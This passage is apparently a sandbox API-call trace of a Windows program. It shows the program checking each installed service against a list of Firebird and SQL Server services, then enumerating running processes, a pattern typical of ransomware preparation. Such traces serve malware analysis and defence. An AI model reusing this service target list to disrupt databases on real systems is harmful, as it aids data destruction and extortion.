	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0182.309] lstrlenW (lpString="DPS") returned 3
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0182.310] lstrlenW (lpString="DusmSvc") returned 7
	[0182.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0182.310] lstrlenW (lpString="EventLog") returned 8
	[0182.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0182.310] lstrlenW (lpString="EventSystem") returned 11
	[0182.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0182.310] lstrlenW (lpString="FontCache") returned 9
	[0182.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0182.310] lstrlenW (lpString="gpsvc") returned 5
	[0182.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0182.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0182.310] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0182.310] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0182.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0182.310] lstrlenW (lpString="iphlpsvc") returned 8
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0182.311] lstrlenW (lpString="KeyIso") returned 6
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0182.311] lstrlenW (lpString="LanmanServer") returned 12
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0182.311] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0182.311] lstrlenW (lpString="lfsvc") returned 5
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0182.311] lstrlenW (lpString="lmhosts") returned 7
	[0182.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0182.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0182.311] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0182.311] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0182.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0182.311] lstrlenW (lpString="LSM") returned 3
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0182.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0182.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0182.312] lstrlenW (lpString="MpsSvc") returned 6
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0182.312] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0182.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0182.312] lstrlenW (lpString="NcbService") returned 10
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0182.312] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0182.312] lstrlenW (lpString="netprofm") returned 8
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0182.312] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0182.312] lstrlenW (lpString="NgcSvc") returned 6
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0182.312] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0182.312] lstrlenW (lpString="NlaSvc") returned 6
	[0182.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0182.313] lstrlenW (lpString="nsi") returned 3
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0182.313] lstrlenW (lpString="PcaSvc") returned 6
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0182.313] lstrlenW (lpString="PlugPlay") returned 8
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0182.313] lstrlenW (lpString="Power") returned 5
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0182.313] lstrlenW (lpString="ProfSvc") returned 7
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0182.313] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0182.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0182.313] lstrlenW (lpString="RpcEptMapper") returned 12
	[0182.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0182.314] lstrlenW (lpString="RpcSs") returned 5
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0182.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0182.314] lstrlenW (lpString="SamSs") returned 5
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0182.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0182.314] lstrlenW (lpString="Schedule") returned 8
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0182.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0182.314] lstrlenW (lpString="SecurityHealthService") returned 21
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0182.314] lstrlenW (lpString="SENS") returned 4
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0182.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0182.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0182.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0182.314] lstrlenW (lpString="ShellHWDetection") returned 16
	[0182.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0182.315] lstrlenW (lpString="Spooler") returned 7
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0182.315] lstrlenW (lpString="StateRepository") returned 15
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0182.315] lstrlenW (lpString="SysMain") returned 7
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0182.315] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0182.315] lstrlenW (lpString="Themes") returned 6
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0182.315] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0182.315] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0182.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0182.315] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0182.315] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.316] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0182.316] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0182.316] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0182.316] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41eb8d0 | out: hHeap=0x5a0000) returned 1
	[0182.316] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c
	[0182.320] Process32FirstW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0182.320] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0182.320] lstrlenW (lpString="System") returned 6
	[0182.320] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0182.321] lstrlenW (lpString="smss.exe") returned 8
	[0182.321] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.321] lstrlenW (lpString="csrss.exe") returned 9
	[0182.321] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0182.322] lstrlenW (lpString="wininit.exe") returned 11
	[0182.322] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0182.322] lstrlenW (lpString="csrss.exe") returned 9
	[0182.322] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0182.323] lstrlenW (lpString="winlogon.exe") returned 12
	[0182.323] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0182.323] lstrlenW (lpString="services.exe") returned 12
	[0182.323] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0182.323] lstrlenW (lpString="lsass.exe") returned 9
	[0182.323] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0182.324] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0182.324] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0182.324] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0182.324] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.325] lstrlenW (lpString="svchost.exe") returned 11
	[0182.325] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.325] lstrlenW (lpString="svchost.exe") returned 11
	[0182.325] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0182.326] lstrlenW (lpString="dwm.exe") returned 7
	[0182.326] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.326] lstrlenW (lpString="svchost.exe") returned 11
	[0182.326] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.326] lstrlenW (lpString="svchost.exe") returned 11
	[0182.326] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.327] lstrlenW (lpString="svchost.exe") returned 11
	[0182.327] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.327] lstrlenW (lpString="svchost.exe") returned 11
	[0182.327] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.655] lstrlenW (lpString="svchost.exe") returned 11
	[0182.666] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.669] lstrlenW (lpString="svchost.exe") returned 11
	[0182.669] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.680] lstrlenW (lpString="svchost.exe") returned 11
	[0182.680] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.681] lstrlenW (lpString="svchost.exe") returned 11
	[0182.681] Process32NextW (in: hSnapshot=0x55c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0182.681] lstrlenW (lpString="svchost.exe") returned 11
